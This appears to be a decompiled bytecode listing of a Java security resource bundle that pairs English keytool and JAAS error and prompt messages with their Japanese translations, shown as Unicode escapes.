                                                                              • \u4e3b\u4f53\u540d\u306e\u6700\u5f8c\u306b\u5f15\u7528\u7b26\u304c\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value
                                                                              • \u4e3b\u4f53\u540d\u304c\u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9 (*) \u5024\u3067\u306a\u3044\u5834\u5408\u3001PrivateCredentialPermission \u306e Principal \u30af\u30e9\u30b9\u3092\u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9 (*) \u5024\u306b\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002
                                                                              • CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name
                                                                              • CredOwner:\n\tPrincipal \u30af\u30e9\u30b9 = {0}\n\t\u4e3b\u4f53\u540d = {1}
                                                                              • provided null name
                                                                              • \u7a7a\u306e\u540d\u524d\u304c\u6307\u5b9a\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • provided null keyword map
                                                                              • null \u306e\u30ad\u30fc\u30ef\u30fc\u30c9\u30de\u30c3\u30d7\u304c\u6307\u5b9a\u3055\u308c\u307e\u3057\u305f
                                                                              • provided null OID map
                                                                              • null \u306e OID \u30de\u30c3\u30d7\u304c\u6307\u5b9a\u3055\u308c\u307e\u3057\u305f
                                                                              • invalid null AccessControlContext provided
                                                                              • \u7121\u52b9\u306a null AccessControlContext \u304c\u6307\u5b9a\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • invalid null action provided
                                                                              • \u7121\u52b9\u306a null \u30a2\u30af\u30b7\u30e7\u30f3\u304c\u6307\u5b9a\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • invalid null Class provided
                                                                              • \u7121\u52b9\u306a null \u30af\u30e9\u30b9\u304c\u6307\u5b9a\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • Subject:\n
                                                                              • \u30b5\u30d6\u30b8\u30a7\u30af\u30c8:\n
                                                                              • \tPrincipal:
                                                                              • \t\u4e3b\u4f53:
                                                                              • \tPublic Credential:
                                                                              • \t\u516c\u958b\u8cc7\u683c:
                                                                              • \tPrivate Credentials inaccessible\n
                                                                              • \t\u975e\u516c\u958b\u8cc7\u683c\u306b\u306f\u30a2\u30af\u30bb\u30b9\u3067\u304d\u307e\u305b\u3093\u3002\n
                                                                              • \tPrivate Credential:
                                                                              • \t\u975e\u516c\u958b\u8cc7\u683c:
                                                                              • \tPrivate Credential inaccessible\n
                                                                              • Subject is read-only
                                                                              • \u30b5\u30d6\u30b8\u30a7\u30af\u30c8\u306f\u8aad\u307f\u53d6\u308a\u5c02\u7528\u3067\u3059\u3002
                                                                              • attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set
                                                                              • java.security.Principal \u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3067\u306f\u306a\u3044\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u3001\u30b5\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u4e3b\u4f53\u30bb\u30c3\u30c8\u306b\u8ffd\u52a0\u3057\u3088\u3046\u3068\u3057\u307e\u3057\u305f\u3002
                                                                              • attempting to add an object which is not an instance of class
                                                                              • {0} \u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3067\u306f\u306a\u3044\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u8ffd\u52a0\u3057\u3088\u3046\u3068\u3057\u307e\u3057\u305f\u3002
                                                                              • LoginModuleControlFlag:
                                                                              • Invalid null input: name
                                                                              • \u7121\u52b9\u306a null \u5165\u529b: \u540d\u524d
                                                                              • No LoginModules configured for name
                                                                              • {0} \u7528\u306b\u69cb\u6210\u3055\u308c\u305f LoginModules \u306f\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • invalid null Subject provided
                                                                              • \u7121\u52b9\u306a null \u30b5\u30d6\u30b8\u30a7\u30af\u30c8\u304c\u6307\u5b9a\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • invalid null CallbackHandler provided
                                                                              • \u7121\u52b9\u306a null CallbackHandler \u304c\u6307\u5b9a\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • null subject - logout called before login
                                                                              • null \u30b5\u30d6\u30b8\u30a7\u30af\u30c8 - \u30ed\u30b0\u30a4\u30f3\u3059\u308b\u524d\u306b\u30ed\u30b0\u30a2\u30a6\u30c8\u304c\u547c\u3073\u51fa\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • unable to instantiate LoginModule, module, because it does not provide a no-argument constructor
                                                                              • LoginModule {0} \u306f\u5f15\u6570\u3092\u53d6\u3089\u306a\u3044\u30b3\u30f3\u30b9\u30c8\u30e9\u30af\u30bf\u3092\u6307\u5b9a\u3067\u304d\u306a\u3044\u305f\u3081\u3001\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u751f\u6210\u3067\u304d\u307e\u305b\u3093\u3002
                                                                              • unable to instantiate LoginModule
                                                                              • LoginModule \u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u751f\u6210\u3067\u304d\u307e\u305b\u3093\u3002
                                                                              • unable to instantiate LoginModule:
                                                                              • LoginModule \u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u751f\u6210\u3067\u304d\u307e\u305b\u3093:
                                                                              • unable to find LoginModule class:
                                                                              • LoginModule \u30af\u30e9\u30b9\u3092\u691c\u51fa\u3067\u304d\u307e\u305b\u3093:
                                                                              • unable to access LoginModule:
                                                                              • LoginModule \u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u307e\u305b\u3093:
                                                                              • Login Failure: all modules ignored
                                                                              • \u30ed\u30b0\u30a4\u30f3\u5931\u6557: \u3059\u3079\u3066\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u7121\u8996\u3055\u308c\u307e\u3059\u3002
                                                                              • java.security.policy: error parsing policy:\n\tmessage
                                                                              • java.security.policy: {0} \u306e\u69cb\u6587\u89e3\u6790\u30a8\u30e9\u30fc:\n\t{1}
                                                                              • java.security.policy: error adding Permission, perm:\n\tmessage
                                                                              • java.security.policy: \u30a2\u30af\u30bb\u30b9\u6a29 {0} \u306e\u8ffd\u52a0\u30a8\u30e9\u30fc:\n\t{1}
                                                                              • java.security.policy: error adding Entry:\n\tmessage
                                                                              • java.security.policy: \u30a8\u30f3\u30c8\u30ea\u306e\u8ffd\u52a0\u30a8\u30e9\u30fc:\n\t{0}
                                                                              • alias name not provided (pe.name)
                                                                              • \u5225\u540d\u306e\u6307\u5b9a\u304c\u3042\u308a\u307e\u305b\u3093 ({0})
                                                                              • unable to perform substitution on alias, suffix
                                                                              • \u5225\u540d {0} \u306b\u5bfe\u3057\u3066\u7f6e\u63db\u64cd\u4f5c\u304c\u3067\u304d\u307e\u305b\u3093
                                                                              • substitution value, prefix, unsupported
                                                                              • \u7f6e\u63db\u5024 {0} \u306f\u30b5\u30dd\u30fc\u30c8\u3055\u308c\u3066\u3044\u307e\u305b\u3093
                                                                              • (
                                                                              • )
                                                                              • type can\'t be null
                                                                              • \u5165\u529b\u3092 null \u306b\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002
                                                                              • keystorePasswordURL can not be specified without also specifying keystore
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u3092\u6307\u5b9a\u3057\u306a\u3044\u5834\u5408\u3001keystorePasswordURL \u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093\u3002
                                                                              • expected keystore type
                                                                              • \u671f\u5f85\u3055\u308c\u305f\u30ad\u30fc\u30b9\u30c8\u30a2\u30bf\u30a4\u30d7
                                                                              • expected keystore provider
                                                                              • \u671f\u5f85\u3055\u308c\u305f\u30ad\u30fc\u30b9\u30c8\u30a2\u30d7\u30ed\u30d0\u30a4\u30c0
                                                                              • multiple Codebase expressions
                                                                              • \u8907\u6570\u306e Codebase \u5f0f
                                                                              • multiple SignedBy expressions
                                                                              • \u8907\u6570\u306e SignedBy \u5f0f
                                                                              • SignedBy has empty alias
                                                                              • SignedBy \u306f\u7a7a\u306e\u5225\u540d\u3092\u4fdd\u6301\u3057\u307e\u3059\u3002
                                                                              • can not specify Principal with a wildcard class without a wildcard name
                                                                              • \u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9\u540d\u306e\u306a\u3044\u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9\u30af\u30e9\u30b9\u3092\u4f7f\u3063\u3066\u3001\u4e3b\u4f53\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002
                                                                              • expected codeBase or SignedBy or Principal
                                                                              • \u671f\u5f85\u3055\u308c\u305f codeBase\u3001SignedBy\u3001\u307e\u305f\u306f Principal
                                                                              • expected permission entry
                                                                              • \u671f\u5f85\u3055\u308c\u305f\u30a2\u30af\u30bb\u30b9\u6a29\u30a8\u30f3\u30c8\u30ea
                                                                              • number
                                                                              • \u6570
                                                                              • expected [expect], read [end of file]
                                                                              • [{0}] \u3067\u306f\u306a\u304f [\u30d5\u30a1\u30a4\u30eb\u306e\u7d42\u308f\u308a] \u304c\u8aad\u307f\u8fbc\u307e\u308c\u307e\u3057\u305f\u3002
                                                                              • expected [;], read [end of file]
                                                                              • [;] \u3067\u306f\u306a\u304f [\u30d5\u30a1\u30a4\u30eb\u306e\u7d42\u308f\u308a] \u304c\u8aad\u307f\u8fbc\u307e\u308c\u307e\u3057\u305f\u3002
                                                                              • line number: msg
                                                                              • \u884c {0}: {1}
                                                                              • line number: expected [expect], found [actual]
                                                                              • \u884c {0}: [{1}] \u3067\u306f\u306a\u304f [{2}] \u304c\u691c\u51fa\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • null principalClass or principalName
                                                                              • null \u306e principalClass \u307e\u305f\u306f principalName
                                                                              • PKCS11 Token [providerName] Password:
                                                                              • PKCS11 \u30c8\u30fc\u30af\u30f3 [{0}] \u30d1\u30b9\u30ef\u30fc\u30c9:
                                                                              • unable to instantiate Subject-based policy
                                                                              • \u30b5\u30d6\u30b8\u30a7\u30af\u30c8\u30d9\u30fc\u30b9\u306e\u30dd\u30ea\u30b7\u30fc\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u751f\u6210\u3067\u304d\u307e\u305b\u3093
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x2
                                                                              2const/4 v5, 0x1
                                                                              3const/4 v4, 0x0
                                                                              4const/16 v0, 0x153
                                                                              5new-array v0, v0, [[Ljava/lang/Object;
                                                                              6new-array v1, v6, [Ljava/lang/Object;
                                                                              8const-string v2, " "
                                                                              9aput-object v2, v1, v4
                                                                              11const-string v2, " "
                                                                              12aput-object v2, v1, v5
                                                                              13aput-object v1, v0, v4
                                                                              14new-array v1, v6, [Ljava/lang/Object;
                                                                              16const-string v2, " "
                                                                              17aput-object v2, v1, v4
                                                                              19const-string v2, " "
                                                                              20aput-object v2, v1, v5
                                                                              21aput-object v1, v0, v5
                                                                              22new-array v1, v6, [Ljava/lang/Object;
                                                                              24const-string v2, " "
                                                                              25aput-object v2, v1, v4
                                                                              27const-string v2, " "
                                                                              28aput-object v2, v1, v5
                                                                              29aput-object v1, v0, v6
                                                                              30const/4 v1, 0x3
                                                                              31new-array v2, v6, [Ljava/lang/Object;
                                                                              33const-string v3, ", "
                                                                              34aput-object v3, v2, v4
                                                                              36const-string v3, ", "
                                                                              37aput-object v3, v2, v5
                                                                              38aput-object v2, v0, v1
                                                                              39const/4 v1, 0x4
                                                                              40new-array v2, v6, [Ljava/lang/Object;
                                                                              42const-string v3, "\n"
                                                                              43aput-object v3, v2, v4
                                                                              45const-string v3, "\n"
                                                                              46aput-object v3, v2, v5
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x5
                                                                              49new-array v2, v6, [Ljava/lang/Object;
                                                                              51const-string v3, "*******************************************"
                                                                              52aput-object v3, v2, v4
                                                                              54const-string v3, "*******************************************"
                                                                              55aput-object v3, v2, v5
                                                                              56aput-object v2, v0, v1
                                                                              57const/4 v1, 0x6
                                                                              58new-array v2, v6, [Ljava/lang/Object;
                                                                              60const-string v3, "*******************************************\n\n"
                                                                              61aput-object v3, v2, v4
                                                                              63const-string v3, "*******************************************\n\n"
                                                                              64aput-object v3, v2, v5
                                                                              65aput-object v2, v0, v1
                                                                              66const/4 v1, 0x7
                                                                              67new-array v2, v6, [Ljava/lang/Object;
                                                                              69const-string v3, "keytool error: "
                                                                              70aput-object v3, v2, v4
                                                                              72const-string v3, "keytool \u30a8\u30e9\u30fc: "
                                                                              73aput-object v3, v2, v5
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x8
                                                                              76new-array v2, v6, [Ljava/lang/Object;
                                                                              78const-string v3, "Illegal option: "
                                                                              79aput-object v3, v2, v4
                                                                              81const-string v3, "\u4e0d\u6b63\u306a\u30aa\u30d7\u30b7\u30e7\u30f3: "
                                                                              82aput-object v3, v2, v5
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0x9
                                                                              85new-array v2, v6, [Ljava/lang/Object;
                                                                              87const-string v3, "Try keytool -help"
                                                                              88aput-object v3, v2, v4
                                                                              90const-string v3, "keytool -help \u3092\u5b9f\u884c\u3057\u3066\u307f\u3066\u304f\u3060\u3055\u3044"
                                                                              91aput-object v3, v2, v5
                                                                              92aput-object v2, v0, v1
                                                                              93const/16 v1, 0xa
                                                                              94new-array v2, v6, [Ljava/lang/Object;
                                                                              96const-string v3, "Command option <flag> needs an argument."
                                                                              97aput-object v3, v2, v4
                                                                              99const-string v3, "\u30b3\u30de\u30f3\u30c9\u30aa\u30d7\u30b7\u30e7\u30f3 {0} \u306b\u306f\u5f15\u6570\u304c\u5fc5\u8981\u3067\u3059\u3002"
                                                                              100aput-object v3, v2, v5
                                                                              101aput-object v2, v0, v1
                                                                              102const/16 v1, 0xb
                                                                              103new-array v2, v6, [Ljava/lang/Object;
                                                                              105const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value."
                                                                              106aput-object v3, v2, v4
                                                                              108const-string v3, "\u8b66\u544a: PKCS12 \u30ad\u30fc\u30b9\u30c8\u30a2\u3067\u306f\u3001\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3068\u9375\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u7570\u306a\u3063\u3066\u3044\u3066\u306f\u306a\u308a\u307e\u305b\u3093\u3002\u30e6\u30fc\u30b6\u30fc\u304c\u6307\u5b9a\u3057\u305f {0} \u306e\u5024\u306f\u7121\u8996\u3057\u307e\u3059\u3002"
                                                                              109aput-object v3, v2, v5
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0xc
                                                                              112new-array v2, v6, [Ljava/lang/Object;
                                                                              114const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              115aput-object v3, v2, v4
                                                                              117const-string v3, "-storetype \u304c {0} \u306e\u5834\u5408 -keystore \u306f NONE \u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093"
                                                                              118aput-object v3, v2, v5
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0xd
                                                                              121new-array v2, v6, [Ljava/lang/Object;
                                                                              123const-string v3, "Too may retries, program terminated"
                                                                              124aput-object v3, v2, v4
                                                                              126const-string v3, "\u518d\u8a66\u884c\u304c\u591a\u3059\u304e\u307e\u3059\u3002\u30d7\u30ed\u30b0\u30e9\u30e0\u304c\u7d42\u4e86\u3057\u307e\u3057\u305f"
                                                                              127aput-object v3, v2, v5
                                                                              128aput-object v2, v0, v1
                                                                              129const/16 v1, 0xe
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              132const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              133aput-object v3, v2, v4
                                                                              135const-string v3, "-storetype \u304c {0} \u306e\u5834\u5408 -storepasswd \u30b3\u30de\u30f3\u30c9\u3068 -keypasswd \u30b3\u30de\u30f3\u30c9\u306f\u30b5\u30dd\u30fc\u30c8\u3055\u308c\u307e\u305b\u3093"
                                                                              136aput-object v3, v2, v5
                                                                              137aput-object v2, v0, v1
                                                                              138const/16 v1, 0xf
                                                                              139new-array v2, v6, [Ljava/lang/Object;
                                                                              141const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              142aput-object v3, v2, v4
                                                                              144const-string v3, "-storetype \u304c PKCS12 \u306e\u5834\u5408\u3001-keypasswd \u30b3\u30de\u30f3\u30c9\u306f\u30b5\u30dd\u30fc\u30c8\u3055\u308c\u307e\u305b\u3093"
                                                                              145aput-object v3, v2, v5
                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x10
                                                                              148new-array v2, v6, [Ljava/lang/Object;
                                                                              150const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              151aput-object v3, v2, v4
                                                                              153const-string v3, "-storetype \u304c {0} \u306e\u5834\u5408 -keypass \u3068 -new \u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093"
                                                                              154aput-object v3, v2, v5
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x11
                                                                              157new-array v2, v6, [Ljava/lang/Object;
                                                                              159const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              160aput-object v3, v2, v4
                                                                              162const-string v3, "-protected \u304c\u6307\u5b9a\u3055\u308c\u3066\u3044\u308b\u5834\u5408\u3001-storepass\u3001-keypass\u3001-new \u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093"
                                                                              163aput-object v3, v2, v5
                                                                              164aput-object v2, v0, v1
                                                                              165const/16 v1, 0x12
                                                                              166new-array v2, v6, [Ljava/lang/Object;
                                                                              168const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              169aput-object v3, v2, v4
                                                                              171const-string v3, "-srcprotected \u3092\u6307\u5b9a\u3059\u308b\u5834\u5408\u3001-srcstorepass \u304a\u3088\u3073 -srckeypass \u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093"
                                                                              172aput-object v3, v2, v5
                                                                              173aput-object v2, v0, v1
                                                                              174const/16 v1, 0x13
                                                                              175new-array v2, v6, [Ljava/lang/Object;
                                                                              177const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              178aput-object v3, v2, v4
                                                                              180const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u304c\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u3066\u3044\u306a\u3044\u5834\u5408\u3001-storepass\u3001-keypass\u3001\u304a\u3088\u3073 -new \u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093"
                                                                              181aput-object v3, v2, v5
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x14
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              186const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              187aput-object v3, v2, v4
                                                                              189const-string v3, "\u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u304c\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u3066\u3044\u306a\u3044\u5834\u5408\u3001-srcstorepass \u3068 -srckeypass \u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093"
                                                                              190aput-object v3, v2, v5
                                                                              191aput-object v2, v0, v1
                                                                              192const/16 v1, 0x15
                                                                              193new-array v2, v6, [Ljava/lang/Object;
                                                                              195const-string v3, "Validity must be greater than zero"
                                                                              196aput-object v3, v2, v4
                                                                              198const-string v3, "\u59a5\u5f53\u6027\u306f\u30bc\u30ed\u3088\u308a\u5927\u304d\u304f\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002"
                                                                              199aput-object v3, v2, v5
                                                                              200aput-object v2, v0, v1
                                                                              201const/16 v1, 0x16
                                                                              202new-array v2, v6, [Ljava/lang/Object;
                                                                              204const-string v3, "provName not a provider"
                                                                              205aput-object v3, v2, v4
                                                                              207const-string v3, "{0} \u306f\u30d7\u30ed\u30d0\u30a4\u30c0\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002"
                                                                              208aput-object v3, v2, v5
                                                                              209aput-object v2, v0, v1
                                                                              210const/16 v1, 0x17
                                                                              211new-array v2, v6, [Ljava/lang/Object;
                                                                              213const-string v3, "Usage error: no command provided"
                                                                              214aput-object v3, v2, v4
                                                                              216const-string v3, "\u4f7f\u7528\u30a8\u30e9\u30fc: \u30b3\u30de\u30f3\u30c9\u304c\u6307\u5b9a\u3055\u308c\u3066\u3044\u307e\u305b\u3093"
                                                                              217aput-object v3, v2, v5
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x18
                                                                              220new-array v2, v6, [Ljava/lang/Object;
                                                                              222const-string v3, "Usage error, <arg> is not a legal command"
                                                                              223aput-object v3, v2, v4
                                                                              225const-string v3, "\u4f7f\u7528\u30a8\u30e9\u30fc: {0} \u306f\u4e0d\u6b63\u306a\u30b3\u30de\u30f3\u30c9\u3067\u3059"
                                                                              226aput-object v3, v2, v5
                                                                              227aput-object v2, v0, v1
                                                                              228const/16 v1, 0x19
                                                                              229new-array v2, v6, [Ljava/lang/Object;
                                                                              231const-string v3, "Source keystore file exists, but is empty: "
                                                                              232aput-object v3, v2, v4
                                                                              234const-string v3, "\u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u5b58\u5728\u3057\u307e\u3059\u304c\u7a7a\u3067\u3059: "
                                                                              235aput-object v3, v2, v5
                                                                              236aput-object v2, v0, v1
                                                                              237const/16 v1, 0x1a
                                                                              238new-array v2, v6, [Ljava/lang/Object;
                                                                              240const-string v3, "Please specify -srckeystore"
                                                                              241aput-object v3, v2, v4
                                                                              243const-string v3, "-srckeystore \u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044"
                                                                              244aput-object v3, v2, v5
                                                                              245aput-object v2, v0, v1
                                                                              246const/16 v1, 0x1b
                                                                              247new-array v2, v6, [Ljava/lang/Object;
                                                                              249const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              250aput-object v3, v2, v4
                                                                              252const-string v3, "\'list\' \u30b3\u30de\u30f3\u30c9\u306b -v \u3068 -rfc \u306e\u4e21\u65b9\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002"
                                                                              253aput-object v3, v2, v5
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x1c
                                                                              256new-array v2, v6, [Ljava/lang/Object;
                                                                              258const-string v3, "Key password must be at least 6 characters"
                                                                              259aput-object v3, v2, v4
                                                                              261const-string v3, "\u9375\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306f 6 \u6587\u5b57\u4ee5\u4e0a\u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002"
                                                                              262aput-object v3, v2, v5
                                                                              263aput-object v2, v0, v1
                                                                              264const/16 v1, 0x1d
                                                                              265new-array v2, v6, [Ljava/lang/Object;
                                                                              267const-string v3, "New password must be at least 6 characters"
                                                                              268aput-object v3, v2, v4
                                                                              270const-string v3, "\u65b0\u898f\u30d1\u30b9\u30ef\u30fc\u30c9\u306f 6 \u6587\u5b57\u4ee5\u4e0a\u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002"
                                                                              271aput-object v3, v2, v5
                                                                              272aput-object v2, v0, v1
                                                                              273const/16 v1, 0x1e
                                                                              274new-array v2, v6, [Ljava/lang/Object;
                                                                              276const-string v3, "Keystore file exists, but is empty: "
                                                                              277aput-object v3, v2, v4
                                                                              279const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u30d5\u30a1\u30a4\u30eb\u306f\u5b58\u5728\u3057\u307e\u3059\u304c\u3001\u7a7a\u3067\u3059: "
                                                                              280aput-object v3, v2, v5
                                                                              281aput-object v2, v0, v1
                                                                              282const/16 v1, 0x1f
                                                                              283new-array v2, v6, [Ljava/lang/Object;
                                                                              285const-string v3, "Keystore file does not exist: "
                                                                              286aput-object v3, v2, v4
                                                                              288const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u30d5\u30a1\u30a4\u30eb\u306f\u5b58\u5728\u3057\u307e\u305b\u3093: "
                                                                              289aput-object v3, v2, v5
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x20
                                                                              292new-array v2, v6, [Ljava/lang/Object;
                                                                              294const-string v3, "Must specify destination alias"
                                                                              295aput-object v3, v2, v4
                                                                              297const-string v3, "\u5b9b\u5148\u306e\u5225\u540d\u3092\u6307\u5b9a\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002"
                                                                              298aput-object v3, v2, v5
                                                                              299aput-object v2, v0, v1
                                                                              300const/16 v1, 0x21
                                                                              301new-array v2, v6, [Ljava/lang/Object;
                                                                              303const-string v3, "Must specify alias"
                                                                              304aput-object v3, v2, v4
                                                                              306const-string v3, "\u5225\u540d\u3092\u6307\u5b9a\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002"
                                                                              307aput-object v3, v2, v5
                                                                              308aput-object v2, v0, v1
                                                                              309const/16 v1, 0x22
                                                                              310new-array v2, v6, [Ljava/lang/Object;
                                                                              312const-string v3, "Keystore password must be at least 6 characters"
                                                                              313aput-object v3, v2, v4
                                                                              315const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306f 6 \u6587\u5b57\u4ee5\u4e0a\u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002"
                                                                              316aput-object v3, v2, v5
                                                                              317aput-object v2, v0, v1
                                                                              318const/16 v1, 0x23
                                                                              319new-array v2, v6, [Ljava/lang/Object;
                                                                              321const-string v3, "Enter keystore password: "
                                                                              322aput-object v3, v2, v4
                                                                              324const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044: "
                                                                              325aput-object v3, v2, v5
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x24
                                                                              328new-array v2, v6, [Ljava/lang/Object;
                                                                              330const-string v3, "Enter source keystore password: "
                                                                              331aput-object v3, v2, v4
                                                                              333const-string v3, "\u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044: "
                                                                              334aput-object v3, v2, v5
                                                                              335aput-object v2, v0, v1
                                                                              336const/16 v1, 0x25
                                                                              337new-array v2, v6, [Ljava/lang/Object;
                                                                              339const-string v3, "Enter destination keystore password: "
                                                                              340aput-object v3, v2, v4
                                                                              342const-string v3, "\u51fa\u529b\u5148\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044: "
                                                                              343aput-object v3, v2, v5
                                                                              344aput-object v2, v0, v1
                                                                              345const/16 v1, 0x26
                                                                              346new-array v2, v6, [Ljava/lang/Object;
                                                                              348const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              349aput-object v3, v2, v4
                                                                              351const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u77ed\u904e\u304e\u307e\u3059 - 6 \u6587\u5b57\u4ee5\u4e0a\u306b\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              352aput-object v3, v2, v5
                                                                              353aput-object v2, v0, v1
                                                                              354const/16 v1, 0x27
                                                                              355new-array v2, v6, [Ljava/lang/Object;
                                                                              357const-string v3, "Unknown Entry Type"
                                                                              358aput-object v3, v2, v4
                                                                              360const-string v3, "\u672a\u77e5\u306e\u30a8\u30f3\u30c8\u30ea\u30bf\u30a4\u30d7"
                                                                              361aput-object v3, v2, v5
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x28
                                                                              364new-array v2, v6, [Ljava/lang/Object;
                                                                              366const-string v3, "Too many failures. Alias not changed"
                                                                              367aput-object v3, v2, v4
                                                                              369const-string v3, "\u969c\u5bb3\u304c\u591a\u3059\u304e\u307e\u3059\u3002\u5225\u540d\u306f\u5909\u66f4\u3055\u308c\u307e\u305b\u3093"
                                                                              370aput-object v3, v2, v5
                                                                              371aput-object v2, v0, v1
                                                                              372const/16 v1, 0x29
                                                                              373new-array v2, v6, [Ljava/lang/Object;
                                                                              375const-string v3, "Entry for alias <alias> successfully imported."
                                                                              376aput-object v3, v2, v4
                                                                              378const-string v3, "\u5225\u540d {0} \u306e\u30a8\u30f3\u30c8\u30ea\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u306b\u6210\u529f\u3057\u307e\u3057\u305f\u3002"
                                                                              379aput-object v3, v2, v5
                                                                              380aput-object v2, v0, v1
                                                                              381const/16 v1, 0x2a
                                                                              382new-array v2, v6, [Ljava/lang/Object;
                                                                              384const-string v3, "Entry for alias <alias> not imported."
                                                                              385aput-object v3, v2, v4
